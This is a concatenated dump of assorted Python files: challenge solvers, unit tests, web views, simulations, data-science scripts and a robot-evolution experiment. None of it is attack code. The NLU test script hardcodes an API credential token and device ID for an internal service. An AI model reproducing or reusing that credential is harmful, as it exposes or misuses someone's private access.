    \")[2].split(\"\")[1].split(\"\")[0].strip()\n\nnombreP1 = Un1.split(\")\")[0].replace(\"(\",\"\").split(\"+\")[0].strip()\nnombreP2 = Un1.split(\"(\")[2].replace(\")\",\"\").split(\"*\")[1].strip()\n\ndef u(n):\n U = int(Un0)\n for i in range (0,n):\n U =(int(nombreP1)+U)-(i*int(nombreP2))\n #endfor\n return U\n#enddef\nres = u(int(iteration))\n\nresponse2 = s.get('http://challenge01.root-me.org/programmation/ch1/ep1_v.php?result=' + str(res))\n\nprint(response2.text)","sub_path":"RootMe/Suite Mathematique.py","file_name":"Suite Mathematique.py","file_ext":"py","file_size_in_byte":2044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"268032922","text":"#\n# Copyright (C) 2012 - 2021 Satoru SATOH \n# SPDX-License-Identifier: MIT\n#\n# pylint: disable=missing-docstring\nr\"\"\"Test cases for anyconfig.utils.files.\n\"\"\"\nimport pathlib\nimport tempfile\nimport unittest\n\nimport anyconfig.utils.files as TT\n\nfrom anyconfig.ioinfo import make as ioinfo_make\n\n\nclass TestCase(unittest.TestCase):\n\n def test_get_file_extension(self):\n ies = (\n ('', ''),\n ('/a/b/c', ''),\n ('/a/b/c.txt', 'txt'),\n ('/a/b/c/d.txt.gz', 'gz'),\n )\n for inp, exp in ies:\n self.assertEqual(TT.get_file_extension(inp), exp)\n\n def test_get_path_from_stream(self):\n this = __file__\n\n with pathlib.Path(this).open() as strm:\n self.assertEqual(TT.get_path_from_stream(strm), this)\n\n with self.assertRaises(ValueError):\n TT.get_path_from_stream(this)\n\n self.assertEqual(TT.get_path_from_stream(this, safe=True), '')\n\n def test_split_path_by_marker(self):\n ies = (\n ('a.txt', ('a.txt', '')),\n ('*.txt', ('', '*.txt')),\n ('a/*.txt', ('a', '*.txt')),\n ('a/b/*.txt', ('a/b', '*.txt')),\n ('a/b/*/*.txt', ('a/b', '*/*.txt')),\n )\n for inp, exp in ies:\n self.assertEqual(TT.split_path_by_marker(inp), exp)\n\n def test_expand_paths(self):\n with tempfile.TemporaryDirectory() as workdir:\n tdir = pathlib.Path(str(workdir)) / 'a' / 'b' / 'c'\n tdir.mkdir(parents=True)\n\n pathlib.Path(tdir / 'd.txt').touch()\n pathlib.Path(tdir / 'e.txt').touch()\n pathlib.Path(tdir / 'f.json').write_text(\"{'a': 1}\\n\")\n\n path = tdir / 'd.txt'\n for inp, exp in ((str(path), [path]),\n (path, [path]),\n (ioinfo_make(path), [ioinfo_make(path)]),\n (tdir / '*.txt',\n [tdir / 'd.txt', tdir / 'e.txt']),\n (tdir.parent / '**' / '*.txt',\n [tdir / 'd.txt', tdir / 'e.txt']),\n (tdir.parent / '**' / '*.*',\n [tdir / 'd.txt',\n tdir / 'e.txt',\n tdir / 'f.json']),\n ([tdir / 'e.txt', tdir / 'd.txt'],\n [tdir / 'e.txt', tdir / 'd.txt'])\n ):\n self.assertEqual(\n TT.expand_paths(inp), exp, f'{inp!r} vs. {exp!r}'\n )\n\n with path.open() as fobj:\n self.assertEqual(TT.expand_paths(fobj), [fobj])\n\n def test_are_same_file_types(self):\n fun = TT.are_same_file_types\n this_py = pathlib.Path(__file__)\n this = ioinfo_make(this_py)\n other = ioinfo_make(this_py.parent / 'setup.cfg')\n\n for inp, exp in (([], False),\n ([this], True),\n ([this, this], True),\n ([this, other], False),\n ([this, other], False),\n ):\n (self.assertTrue if exp else self.assertFalse)(fun(inp))\n\n# vim:sw=4:ts=4:et:\n","sub_path":"tests/utils/files.py","file_name":"files.py","file_ext":"py","file_size_in_byte":3282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"545479519","text":"# -*- coding: utf-8 -*--\nfrom pyramid.view import view_config\nimport pyramid.httpexceptions as exc\n\nfrom infolica.exceptions.custom_error import CustomError\nfrom infolica.models import Constant\nfrom infolica.models.models import ControleGeometre, Operateur\nfrom infolica.scripts.utils import Utils\nfrom infolica.scripts.authentication import check_connected\n\n\n@view_config(route_name='controle_geometre_by_affaire_id', request_method='GET', renderer='json')\ndef controle_geometre_by_affaire_id_view(request):\n \"\"\"\n Return controle_geometre by affaire_id\n \"\"\"\n # Check connected\n if not check_connected(request):\n raise exc.HTTPForbidden()\n\n # Get controle mutation id\n affaire_id = request.matchdict['id']\n query = request.dbsession.query(ControleGeometre).filter(\n ControleGeometre.affaire_id == affaire_id).first()\n\n if query is None:\n return None\n \n operateur_prenom_nom = None\n\n \n # get signature_operateur\n if not query.operateur_id is None:\n operateur = request.dbsession.query(\n Operateur\n ).filter(\n Operateur.id == query.operateur_id\n ).first()\n operateur_prenom_nom = ' '.join([operateur.prenom, operateur.nom])\n\n\n ctrl = Utils.serialize_one(query)\n\n ctrl['operateur_prenom_nom'] = operateur_prenom_nom\n\n return ctrl\n\n\n@view_config(route_name='controle_geometre', request_method='POST', renderer='json')\n@view_config(route_name='controle_geometre_s', request_method='POST', renderer='json')\ndef controle_geometre_new_view(request):\n \"\"\"\n Add new controle_geometre\n \"\"\"\n # Check authorization\n if not Utils.has_permission(request, request.registry.settings['affaire_controle_geometre_edition']):\n raise exc.HTTPForbidden()\n\n Utils.addNewRecord(request, ControleGeometre)\n\n return Utils.get_data_save_response(Constant.SUCCESS_SAVE.format(ControleGeometre.__tablename__))\n\n\n@view_config(route_name='controle_geometre', request_method='PUT', renderer='json')\n@view_config(route_name='controle_geometre_s', request_method='PUT', renderer='json')\ndef controle_geometre_update_view(request):\n \"\"\"\n Update controle_geometre\n \"\"\"\n # Check authorization\n if not Utils.has_permission(request, request.registry.settings['affaire_controle_geometre_edition']):\n raise exc.HTTPForbidden()\n\n # Get controle mutation id\n id = request.params['id'] if 'id' in request.params else None\n\n # Get controle mutation record\n record = request.dbsession.query(ControleGeometre).filter(\n ControleGeometre.id == id).first()\n\n if not record:\n raise CustomError(\n CustomError.RECORD_WITH_ID_NOT_FOUND.format(ControleGeometre.__tablename__, id))\n \n record = Utils.set_model_record(record, request.params)\n\n return Utils.get_data_save_response(Constant.SUCCESS_SAVE.format(ControleGeometre.__tablename__))\n\n","sub_path":"back/infolica/views/controle_geometre.py","file_name":"controle_geometre.py","file_ext":"py","file_size_in_byte":2906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"138732801","text":"#!/usr/bin/env python3\n\n\"\"\"\nThis script runs the discrete-time version of the Lotka-Volterra model and plots\nthe results in two graphs saved to ../Results.\n\"\"\"\n\n__author__ = 'Group 4'\n__version__ = '0.0.1'\n\n# imports\nimport numpy as np\nimport matplotlib.pylab as p\nimport sys\n\ndef main(r = 1.0, a = 0.1, z = 1.5, e = 0.75):\n \"\"\"\n Calculates the population density at each time step using the discrete-time\n version of the Lotka-Volterra model\n Plots the results in two graphs saved to ../Results/. \n First, a change in resource and consumer density over time, and second, the \n change in population density of consumer with respect to the change in \n population density of resource\n \n Parameters:\n r (float): intrinsic (per-capita) growth rate of the resource \n population (time ^ -1)\n a (float): per-capita \"search rate\" for the resource\n (area x time ^ -1) multiplied by its attack success\n probability, which determines the encounter and \n consumption rate of the consumer on the resource\n z (float): mortality rate (time ^ -1)\n e (float): consumer's efficiency (a fraction) in converting \n resource to consumer biomass\n \"\"\"\n\n # define time vector, integrate from time point 0 to 15, using 1000\n # sub-divisions of time\n # note that units of time are arbitrary here\n t = np.linspace(0, 15, 1000)\n\n # set initial conditions for two populations (10 resources and 5 consumers per \n # unit area), and convert the two into an array (because our dCR_dt function\n # takes an array as input)\n R0 = 10\n C0 = 5\n\n # set K, which is the carrying capacity\n K = 33\n\n # preallocate list\n popu = np.zeros([len(t),2])\n \n # discrete time version of LV model\n for i in range(len(t)): \n # Looping through both columns at the same time\n Rn = R0 * (1 + r * (1- R0/K) - a * C0)\n Cn = C0 * (1 - z + e * a * R0)\n R0 = Rn\n C0 = Cn\n popu[i,:]= [Rn,Cn]\n \n # visualize with matplotlib\n f1 = p.figure()\n p.plot(t, popu[:,0], 'g-', label = \"Resource density\") # plot\n p.plot(t, popu[:,1], 'b-', label = \"Consumer density\")\n p.grid()\n p.legend(loc = \"best\")\n p.xlabel(\"Time\")\n p.ylabel(\"Population density\")\n p.suptitle(\"Consumer-Resource population dynamics\")\n p.title(\"r = %.2f, a = %.2f, z = %.2f, e = %.2f\" %(r, a, z, e),\n fontsize = 8)\n # p.show()\n f1.savefig(\"../Results/LV_model3.pdf\") # save figure\n\n # plot of Consumer density against Resource density\n f2 = p.figure()\n p.plot(popu[:,0], popu[:,1], 'r-')\n p.grid()\n p.xlabel(\"Resource density\")\n p.ylabel(\"Consumer density\")\n p.suptitle(\"Consumer-Resource population dynamics\")\n p.title(\"r = %.2f, a = %.2f, z = %.2f, e = %.2f\" %(r, a, z, e),\n fontsize = 8)\n # p.show()\n f2.savefig(\"../Results/LV_model3-1.pdf\")\n\nif __name__ == \"__main__\":\n if len(sys.argv) == 5:\n # assign sys argvs to parameter values\n r = float(sys.argv[1])\n a = float(sys.argv[2])\n z = float(sys.argv[3])\n e = float(sys.argv[4])\n # K = float(sys.argv[5])\n main(r, a, z, e)\n sys.exit()\n else:\n print(\"Lacking user inputs, using defaults\")\n main()\n sys.exit()","sub_path":"Week7/Code/LV3.py","file_name":"LV3.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"374320278","text":"class Car(object):\n\tdef __init__(self, cname=\"General\", cmodel=\"GM\", ctype=None ):\n\t\tself.name = cname\n\t\tself.model = cmodel\n\t\tself.type = ctype\n\t\tself.speed = 0\n\n\t\tif self.name == 'Porshe' or self.name =='Koenigsegg':\n\t\t\tself.num_of_doors = 2\n\t\telse:\n\t\t\tself.num_of_doors = 4\n\n\t\tif self.type == 'trailer':\n\t\t\tself.num_of_wheels = 8\n\t\telse:\n\t\t\tself.num_of_wheels = 4\n\n\n\tdef is_saloon(self):\n\t\tif self.type != 'trailer':\n\t\t\tself.type == 'saloon'\n\t\t\treturn True\n\t\treturn False\n\n\tdef drive(self,curspeed):\n\t\tif curspeed == 7:\n\t\t\tself.speed = 77\n\t\telif curspeed == 3:\n\t\t\tself.speed = 1000\n\n\t\treturn self\n\n\n\t\t","sub_path":"carclass.py","file_name":"carclass.py","file_ext":"py","file_size_in_byte":604,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"383629878","text":"from common.http_request_new import Request\nfrom common.m_process import mprocess\nimport json\npath=\"D:\\\\Users\\\\lijq36\\Desktop\\\\2\"\nresult_path=\"E:\\\\test\\\\Result.txt\"\n\n\n\ndef nlu(each):\n url = \"https://nlu.sit.aimidea.cn:22012/nlu/v1\"\n data = {\"currentUtterance\": \"这款空调有什么特色\", \"sourceDevice\": \"空调\", \"multiDialog\": \"false\", \"slotMiss\": \"false\",\n \"suites\": [\"default\"], \"deviceId\": \"3141482994683870\", \"userGroup\": \"meiju\",\n \"userGroupCredential\": \"b82063f4-d39b-4940-91c3-5b67d741b4d3\"}\n data[\"currentUtterance\"] = each\n result = Request().requests(url, data, 'post')\n result = result.json()\n classifier = result['classifier']\n if classifier != \"publicDomain\":\n print(each + \":\"+classifier)\n with open(result_path, 'a', encoding='utf8') as f:\n f.write(each+\":\"+str(result)+'\\n')\n # f.close()\n else:\n print(each + \":\"+classifier)\n\n\nif __name__==\"__main__\":\n path1 = \"D:\\\\Users\\\\lijq36\\Desktop\\\\2\"\n with open(path1, 'r', encoding='utf8') as f:\n a = f.readlines()\n for i in range(len(a)):\n nlu(a[i].replace(\"\\n\",\"\"))\n # mprocess(nlu, a,Poolnum=1)\n\n #\n","sub_path":"AITEST/demo/demo4.py","file_name":"demo4.py","file_ext":"py","file_size_in_byte":1184,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"618449578","text":"import sys\nimport pygame\n\nclass GraphicsHandler:\n\n\t_bg_color = (255, 255, 255)\n\tblack = (0, 0, 0)\n\tscreen = None\n\n\t@staticmethod\n\tdef initialize_board(_type = 1):\n\n\t\t#pygame.init()\n\t\t#GraphicsHandler.screen = pygame.display.set_mode(size)\n\t\tGraphicsHandler.screen.fill(GraphicsHandler._bg_color)\n\t\tif _type == 1:\n\t\t\tpygame.draw.line(GraphicsHandler.screen, GraphicsHandler.black, [200,50], [200,550], 5)\n\t\t\tpygame.draw.line(GraphicsHandler.screen, GraphicsHandler.black, [400,50], [400,550], 5)\n\t\t\tpygame.draw.line(GraphicsHandler.screen, GraphicsHandler.black, [50,200], [550,200], 5)\n\t\t\tpygame.draw.line(GraphicsHandler.screen, GraphicsHandler.black, [50,400], [550,400], 5)\n\n\t\tpygame.display.flip()\n\n\t@staticmethod\n\tdef initialize_game(size = [600, 600]):\n\t\tpygame.init()\n\t\tGraphicsHandler.screen = pygame.display.set_mode(size)\n\t\tGraphicsHandler.screen.fill(GraphicsHandler._bg_color)\n\t\tfont = pygame.font.Font(None, 35)\n\t\ttext_title = font.render(\"TIC TAC TOE\", 5, GraphicsHandler.black)\n\t\ttitle = GraphicsHandler.screen.blit(text_title, (200,100))\n\t\tpygame.display.flip()\n\n\t\trunning = True\n\n\t\twhile running:\n\t\t\tevent = pygame.event.poll()\n\t\t\tif event.type == pygame.QUIT: \n\t\t\t\tsys.exit()\n\t\t\telif event.type == pygame.MOUSEBUTTONDOWN and event.button == 1:\n\t\t\t\tmouse_pos = pygame.mouse.get_pos()\n\t\t\t\tif title.collidepoint(mouse_pos):\n\t\t\t\t\tGraphicsHandler.initialize_board()\n\t\t\t\t\trunning = False\n\n\n","sub_path":"graphicshandler.py","file_name":"graphicshandler.py","file_ext":"py","file_size_in_byte":1403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"516749733","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Sep 26 09:30:52 2017\n\n@author: jack.gang\n\"\"\"\n\nimport pandas as pd\nfrom patsy import dmatrices\nimport numpy as np\nimport csv\n#from sklearn.cluster import KMeans\n\npath = 'train.csv'\npathUniv = open(path)\ntrain = pd.read_csv(pathUniv, sep=',', engine='python')\npathUniv.close()\n\n# clean up data\n#meanAge = np.nanmean(train['Age'])\n\nfor index, row in train.iterrows():\n# if row['Age'] != row['Age']:\n# train.set_value(index, 'Age', meanAge)\n \n if row['Age'] < 16 or row['Age'] > 75:\n train.set_value(index, 'Age', 1)\n else:\n train.set_value(index, 'Age', 0)\n \n# if row['Parch'] > 0:\n# train.set_value(index, 'Age', 0)\n# if row['SibSp'] > 0:\n# train.set_value(index, 'SibSp', 1)\n# if row['Parch'] > 0:\n# train.set_value(index, 'Parch', 1)\n\n# model\noutcome, predictors = dmatrices(\"Survived ~ C(Pclass)-1 + C(Sex) + C(Age) + SibSp + Parch + C(Embarked) + Fare\", train)\n\nbetas = np.linalg.lstsq(predictors, outcome)[0].ravel()\nbetaDict = {}\nfor name, beta in zip(predictors.design_info.column_names, betas):\n betaDict[name] = beta\n\n# training\nfor index, row in train.iterrows():\n \n estimate = row['SibSp']*betaDict['SibSp'] + row['Parch']*betaDict['Parch'] + row['Fare']*betaDict['Fare']\n \n if row['Age'] == 1:\n estimate += betaDict['C(Age)[T.1.0]']\n \n if row['Sex'] == 'male':\n estimate += betaDict['C(Sex)[T.male]']\n \n if row['Pclass'] == 1:\n estimate += betaDict['C(Pclass)[1]']\n elif row['Pclass'] == 2:\n estimate += betaDict['C(Pclass)[2]']\n else:\n estimate += betaDict['C(Pclass)[3]']\n \n if row['Embarked'] == 'Q':\n estimate += betaDict['C(Embarked)[T.Q]']\n elif row['Embarked'] == 'S':\n estimate += betaDict['C(Embarked)[T.S]']\n \n train.set_value(index, 'estimate', min(1, round(estimate)))\n\nprint(\"training:\", (len(train) - sum(abs(train['Survived'] - train['estimate']))) / len(train))\n\n# test\n#path = 'test.csv'\n#pathUniv = open(path)\n#test = pd.read_csv(pathUniv, sep=',', engine='python')\n#pathUniv.close()\n#\n#for index, row in test.iterrows():\n# \n# estimate = row['Age']*betaDict['Age'] + row['SibSp']*betaDict['SibSp'] + row['Parch']*betaDict['Parch'] + row['Fare']*betaDict['Fare']\n# \n# if row['Sex'] == 'male':\n# estimate += betaDict['C(Sex)[T.male]']\n# \n# if row['Pclass'] == 1:\n# estimate += betaDict['C(Pclass)[1]']\n# elif row['Pclass'] == 2:\n# estimate += betaDict['C(Pclass)[2]']\n# else:\n# estimate += betaDict['C(Pclass)[3]']\n# \n# if row['Embarked'] == 'Q':\n# estimate += betaDict['C(Embarked)[T.Q]']\n# elif row['Embarked'] == 'S':\n# estimate += betaDict['C(Embarked)[T.S]']\n# \n# test.set_value(index, 'Survived', min(1, round(estimate)))\n#\n#test['Survived'] = test['Survived'].astype(int)\n#test[['PassengerId','Survived']].to_csv(\"result2.csv\", header = ['PassengerId','Survived'], index = False, quoting = csv.QUOTE_NONE, quotechar = '')\n","sub_path":"Titanic/Titanic.py","file_name":"Titanic.py","file_ext":"py","file_size_in_byte":3066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"231931442","text":"#python imports.\nimport requests\n\n# django imports.\nfrom django.conf import settings\n\n#app level imports.\nfrom .exceptions import NetworkException\n\nURL = settings.LOCATIONIQ_URL\n\ndef getlatlon(address, key, url=URL):\n\t\"\"\"\n\tThis function is used to get the latitude and longitude address.\n\t\"\"\"\n\tPARAMS = {}\n\tPARAMS['key'] = key\n\tPARAMS['q'] = address\n\n\ttry: \n\t\tresponse = requests.get(url=url, params=PARAMS)\n\t\tif response.status_code == 200:\n\t\t\tdata = response.json()\n\t\t\tlat = data[0]['lat'] \n\t\t\tlon = data[0]['lon']\n\t\t\treturn lat, lon\n\n\texcept Exception as e:\n\t\tprint(str(e))\n\t\traise NetworkException(errors=str(e))\n\t\t\n\treturn 0, 0\n\n\n\n\n\n\n\n\n\n\n","sub_path":"geographic/libs/locationiq.py","file_name":"locationiq.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"34400061","text":"import aiger_bv as BV\n\nimport aiger_coins as C\n\n\ndef test_pcirc_smoke():\n x = BV.uatom(3, 'x')\n y = BV.uatom(3, 'y')\n z = (x + y).with_output('z')\n\n pcirc = C.PCirc(circ=z, dist_map={'y': lambda _: 1/3}) \\\n .assume(y <= 2)\n\n rvar = C.RandomVarCirc(pcirc)\n\n # Warning. May be flaky.\n for i in range(3):\n assert 3 <= rvar({'x': 3}) <= 5\n\n\ndef test_pcirc_relabel():\n x = BV.uatom(3, 'x')\n pcirc = C.PCirc(circ=x, dist_map={'x': lambda _: 1/3})\n pcirc2 = pcirc['i', {'x': 'y'}]\n assert pcirc2.inputs == set()\n assert pcirc2.circ.inputs == {'y'}\n assert pcirc2.dist_map['y'](0) == 1/3\n\n\ndef test_seq_compose():\n x = BV.uatom(3, 'x').with_output('y')\n y = BV.uatom(3, 'y').with_output('y')\n pcirc = C.PCirc(circ=y)\n pcirc2 = C.PCirc(circ=x, dist_map={'x': lambda _: 1/3}) >> pcirc\n pcirc3 = pcirc << C.PCirc(circ=x, dist_map={'x': lambda _: 1/3})\n\n assert pcirc2.outputs == pcirc3.outputs == {'y'}\n assert pcirc2.inputs == pcirc3.inputs == set()\n assert pcirc2.dist_map['x'](0) == pcirc3.dist_map['x'](0) == 1/3\n\n assert 0 <= pcirc2({})[0]['y'] <= 7\n\n pcirc4 = C.PCirc(circ=(x + 1).with_output('y')) >> pcirc\n assert pcirc4({'x': 0})[0] == {'y': 1}\n\n\ndef test_par_compose():\n x = BV.uatom(3, 'x').with_output('x')\n y = BV.uatom(3, 'y').with_output('y')\n\n pcirc_x = C.PCirc(circ=x)\n pcirc_y = C.PCirc(circ=y, dist_map={'y': lambda _: 1/3})\n\n pcirc_xy = pcirc_x | pcirc_y\n assert pcirc_xy.inputs == {'x'}\n assert pcirc_xy.outputs == {'x', 'y'}\n assert pcirc_xy.dist_map['y'](0) == 1/3\n\n\ndef test_loopback_unroll():\n x = BV.uatom(3, 'x')\n y = BV.uatom(3, 'y')\n adder = (x + y).with_output('z')\n\n pcirc = C.PCirc(adder, dist_map={'y': lambda _: 1/3}) \\\n .assume((y > 0) & (y < 4))\n\n pcirc2 = pcirc.loopback({\n 'input': 'x',\n 'output': 'z',\n 'init': 4,\n 'keep_output': True,\n })\n\n assert pcirc2.inputs == set()\n assert pcirc2.outputs == {'z'}\n assert len(pcirc2.latches) == 1\n assert 4 < pcirc2({})[0]['z'] < 8\n\n pcirc3 = pcirc2.unroll(3)\n assert pcirc3.inputs == set()\n assert pcirc3.outputs == {'z##time_1', 'z##time_2', 'z##time_3'}\n\n pcirc4 = pcirc2.unroll(3, only_last_outputs=True)\n assert pcirc4.outputs == {'z##time_3'}\n pcirc4({}) # Could technically be any value due to roll back.\n","sub_path":"tests/test_pcirc.py","file_name":"test_pcirc.py","file_ext":"py","file_size_in_byte":2384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"419485740","text":"from unittest import TestCase\n\nimport pandas as pd\n\nfrom pycta.performance.periods import periods, period_returns\nfrom test.config import read_series\n\n\n\nimport pandas.util.testing as pdt\n\nclass TestPeriods(TestCase):\n def test_periods(self):\n p = periods(today=pd.Timestamp(\"2015-05-01\"))\n self.assertEqual(p[\"Two weeks\"].start, pd.Timestamp(\"2015-04-17\"))\n self.assertEqual(p[\"Two weeks\"].end, pd.Timestamp(\"2015-05-01\"))\n\n def test_period_returns(self):\n p = periods(today=pd.Timestamp(\"2015-05-01\"))\n s = read_series(\"ts.csv\", parse_dates=True).pct_change().dropna()\n x = 100*period_returns(returns=s, offset=p)\n self.assertAlmostEqual(x[\"Three Years\"], 1.1645579858904798 , places=10)\n\n def test_periods_more(self):\n s = read_series(\"ts.csv\", parse_dates=True).pct_change().dropna()\n y = period_returns(s, offset=periods(today=s.index[-1]))\n pdt.assert_series_equal(y, read_series(\"periods.csv\", parse_dates=False), check_names=False)\n","sub_path":"test/test_performance/test_periods.py","file_name":"test_periods.py","file_ext":"py","file_size_in_byte":1018,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"448223423","text":"import sys\r\nimport random\r\nimport subprocess\r\n#import pygame\r\n#from pygame.locals import *\r\nimport pymunk\r\nimport math\r\nfrom entities import *\r\nfrom shapes import *\r\nfrom network import *\r\nfrom gnarl import *\r\nfrom functools import partial\r\n\r\nWINDOW_SIZE = (1100,600)\r\n\r\ndef init_terrain():\r\n terrain = Terrain()\r\n terrain.add_segment(WINDOW_SIZE[1]-10, math.radians(-90))\r\n terrain.add_segment(300, math.radians(0))\r\n terrain.add_segment(100, math.radians(5))\r\n terrain.add_segment(100, math.radians(10))\r\n terrain.add_segment(100, math.radians(15))\r\n terrain.add_segment(100, math.radians(10))\r\n terrain.add_segment(100, math.radians(5))\r\n terrain.add_segment(300, math.radians(0))\r\n terrain.add_segment(WINDOW_SIZE[1], math.radians(90)) \r\n terrain.rasterize((2, WINDOW_SIZE[1]))\r\n return terrain\r\n\r\ndef init_robot():\r\n shape = create_box((30, 30))\r\n shape.body.position = (0, 0)\r\n #shape.color = pygame.color.THECOLORS[\"blue\"]\r\n trunk = Bone(shape)\r\n\r\n shape = create_box((30, 40))\r\n shape.body.position = (0, -25)\r\n #shape.color = pygame.color.THECOLORS[\"green\"]\r\n thigh1 = Bone(shape)\r\n\r\n shape = create_box((30, 40))\r\n shape.body.position = (0, -25)\r\n #shape.color = pygame.color.THECOLORS[\"green\"]\r\n thigh2 = Bone(shape)\r\n\r\n shape = create_box((20, 50))\r\n shape.body.position = (0, -45)\r\n #shape.color = pygame.color.THECOLORS[\"green\"]\r\n leg1 = Bone(shape)\r\n\r\n shape = create_box((20, 50))\r\n shape.body.position = (0, -45)\r\n #shape.color = pygame.color.THECOLORS[\"green\"]\r\n leg2 = Bone(shape)\r\n\r\n shape = create_box((44, 10))\r\n shape.body.position = (12, -60)\r\n #shape.color = pygame.color.THECOLORS[\"red\"]\r\n foot1 = Bone(shape)\r\n\r\n shape = create_box((44, 10))\r\n shape.body.position = (12, -60)\r\n #shape.color = pygame.color.THECOLORS[\"red\"]\r\n foot2 = Bone(shape)\r\n \r\n hip1 = trunk.join(thigh1, (0, -10), (0, 15))\r\n hip2 = trunk.join(thigh2, (0, -10), (0, 15))\r\n knee1 = thigh1.join(leg1, (0, -15), (0, 20))\r\n knee2 = thigh2.join(leg2, (0, -15), (0, 20))\r\n ankle1 = leg1.join(foot1, (-5, -20), (-17, 0))\r\n ankle2 = leg2.join(foot2, (-5, -20), (-17, 0))\r\n\r\n robot = Robot()\r\n \r\n robot.add_bone(trunk)\r\n robot.add_bone(thigh1)\r\n robot.add_bone(thigh2)\r\n robot.add_bone(leg1)\r\n robot.add_bone(leg2)\r\n robot.add_bone(foot1)\r\n robot.add_bone(foot2)\r\n \r\n robot.add_joint(hip1)\r\n robot.add_joint(hip2)\r\n robot.add_joint(knee1)\r\n robot.add_joint(knee2)\r\n robot.add_joint(ankle1)\r\n robot.add_joint(ankle2)\r\n \r\n return robot\r\n\r\ndef _init_robot():\r\n shape = create_box((30, 20))\r\n shape.body.position = (0, 0)\r\n #shape.color = pygame.color.THECOLORS[\"blue\"]\r\n trunk = Bone(shape)\r\n\r\n shape = create_box((10, 70))\r\n shape.body.position = (-10, -35)\r\n #shape.color = pygame.color.THECOLORS[\"blue\"]\r\n leg1 = Bone(shape)\r\n\r\n shape = create_box((10, 70))\r\n shape.body.position = (10, -35)\r\n #shape.color = pygame.color.THECOLORS[\"blue\"]\r\n leg2 = Bone(shape)\r\n \r\n hip1 = trunk.join(leg1, (-10, -5), (0, 30))\r\n hip2 = trunk.join(leg2, (10, -5), (0, 30))\r\n \r\n robot = Robot()\r\n \r\n robot.add_bone(trunk)\r\n robot.add_bone(leg1)\r\n robot.add_bone(leg2)\r\n \r\n robot.add_joint(hip1)\r\n robot.add_joint(hip2)\r\n \r\n return robot\r\n\r\ndef init_population(robot, num):\r\n networks = []\r\n for i in range(0, num):\r\n rnn = init_network(robot)\r\n randomize_network(rnn)\r\n networks.append(rnn)\r\n return networks\r\n \r\ndef distance(a, b):\r\n return math.sqrt((a[0] - b[0])**2 + (a[1] - b[1])**2)\r\n\r\nclass Processor:\r\n def __init__(self):\r\n self.iteration = 0\r\n\r\n def process_data(self, rnn_list):\r\n with open(\"data\", \"a\") as f:\r\n for rnn in rnn_list:\r\n f.write(\"{},{},{},{},{}\\n\".format(rnn.fitness, list(rnn.neurons.keys()), rnn.edges, rnn.input_layer, rnn.output_layer))\r\n f.write(\"------\")\r\n subprocess.run([\"git\", \"add\", \"data\"])\r\n subprocess.run([\"git\", \"commit\", \"-m\", \"\\\"updating data [{}]\\\"\".format(self.iteration)])\r\n subprocess.run([\"git\", \"push\", \"origin\", \"master\"])\r\n self.iteration += 1\r\n \r\ndef main():\r\n #pygame.init()\r\n #screen = pygame.display.set_mode(WINDOW_SIZE)\r\n #pygame.display.set_caption(\"SKS\")\r\n #clock = pygame.time.Clock()\r\n\r\n #draw_options = pymunk.pygame_util.DrawOptions(screen)\r\n\r\n terrain = init_terrain()\r\n environment = Environment(terrain)\r\n\r\n goal = Goal(950, 120)\r\n environment.add(goal)\r\n\r\n robot = init_robot()\r\n robot.rasterize((100, 100))\r\n robot.add_sensor(lambda a=robot.center_of_gravity, b=goal.shape.body.position: distance(a, b)/1000)\r\n \r\n random.seed()\r\n\r\n networks = init_population(robot, num=200)\r\n \r\n def fitness(network):\r\n if not network.processed:\r\n environment.add(robot)\r\n robot.save_state()\r\n\r\n elapsed = 0.0\r\n while elapsed <= 5.0:\r\n #for event in pygame.event.get():\r\n # if event.type == QUIT:\r\n # sys.exit(0)\r\n # elif event.type == KEYDOWN and event.key == K_ESCAPE:\r\n # sys.exit(0)\r\n\r\n network.process()\r\n \r\n environment.space.step(1/50.0)\r\n \r\n #screen.fill((255,255,255))\r\n \r\n #environment.space.debug_draw(draw_options)\r\n\r\n #pygame.display.flip()\r\n #clock.tick(50)\r\n\r\n elapsed += 1/50.0\r\n\r\n network.processed = True\r\n network.fitness = 1 - distance(robot.center_of_gravity, goal.shape.body.position)/1000\r\n \r\n environment.remove(robot)\r\n robot.load_state()\r\n\r\n return network.fitness \r\n \r\n gnarl = Gnarl()\r\n gnarl.population = networks\r\n gnarl.fitness = fitness\r\n gnarl.fitness_max = 1\r\n gnarl.remove_node_probability = 0.75\r\n gnarl.remove_node_mu = 2\r\n gnarl.add_node_probability = 0.75\r\n gnarl.add_node_mu = 3\r\n gnarl.remove_edge_probability = 0.75\r\n gnarl.remove_edge_mu = 4\r\n gnarl.add_edge_probability = 0.75\r\n gnarl.add_edge_mu = 5\r\n gnarl.iterations = 1000\r\n\r\n processor = Processor()\r\n for l in gnarl.run():\r\n processor.process_data(l)\r\n\r\nsys.exit(main())","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"54273271","text":"# Copyright 2020 Google LLC.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the 